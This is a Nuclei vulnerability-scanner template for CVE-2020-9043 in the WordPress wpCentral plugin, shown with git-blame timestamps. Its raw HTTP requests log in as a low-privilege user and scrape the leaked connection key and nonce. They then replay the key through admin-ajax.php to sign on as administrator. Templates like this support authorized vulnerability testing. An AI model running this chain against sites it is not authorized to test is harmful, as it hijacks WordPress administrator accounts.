nuclei-templates/cves/2020/CVE-2020-9043.yaml

73 lines
2.0 KiB
YAML
Raw Normal View History

2022-07-23 14:45:35 +00:00
id: CVE-2020-9043
info:
name: WordPress wpCentral < 1.5.1 - Improper Access Control to Privilege Escalation
author: scent2d
severity: high
2022-07-23 16:22:07 +00:00
description: |
The wpCentral plugin before 1.5.1 for WordPress allows disclosure of the connection key for Wordpress Admin Account.
2022-07-23 14:45:35 +00:00
reference:
- https://wpscan.com/vulnerability/10074
- https://www.wordfence.com/blog/2020/02/vulnerability-in-wpcentral-plugin-leads-to-privilege-escalation/
2022-07-23 16:22:07 +00:00
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9043
- https://wordpress.org/plugins/wp-central/#developers
2022-07-23 14:45:35 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
2022-07-23 14:45:35 +00:00
cvss-score: 8.8
cve-id: CVE-2020-9043
cwe-id: CWE-200
2022-07-23 16:30:56 +00:00
metadata:
verified: "true"
2022-07-25 05:12:19 +00:00
tags: cve,cve2020,wordpress,wp-plugin,wpcentral,authenticated,wp
2022-07-23 14:45:35 +00:00
requests:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/index.php HTTP/1.1
Host: {{Hostname}}
2022-07-24 17:21:53 +00:00
- |
GET /wp-login.php?action=logout&_wpnonce={{nonce}} HTTP/1.1
Host: {{Hostname}}
- |
GET /wp-admin/admin-ajax.php?action=my_wpc_signon&auth_key={{authkey}} HTTP/1.1
Host: {{Hostname}}
redirects: true
max-redirects: 2
2022-07-23 14:45:35 +00:00
cookie-reuse: true
2022-07-23 16:22:07 +00:00
req-condition: true
2022-07-23 14:45:35 +00:00
matchers:
2022-07-23 16:22:07 +00:00
- type: dsl
dsl:
2022-07-24 17:21:53 +00:00
- "contains(all_headers_4, 'text/html')"
- "status_code_4 == 200"
- "contains(body_4, 'wpCentral Connection Key')"
- contains(body_4, "pagenow = \'dashboard\'")
2022-07-23 16:22:07 +00:00
condition: and
2022-07-23 14:45:35 +00:00
2022-07-23 16:22:07 +00:00
extractors:
- type: regex
2022-07-24 17:21:53 +00:00
name: authkey
2022-07-23 16:22:07 +00:00
part: body
group: 1
regex:
- 'style="word-wrap:break-word;">([a-z0-9]+)'
2022-07-24 17:21:53 +00:00
internal: true
- type: regex
name: nonce
part: body
group: 1
regex:
- '_wpnonce=([0-9a-z]+)'
internal: true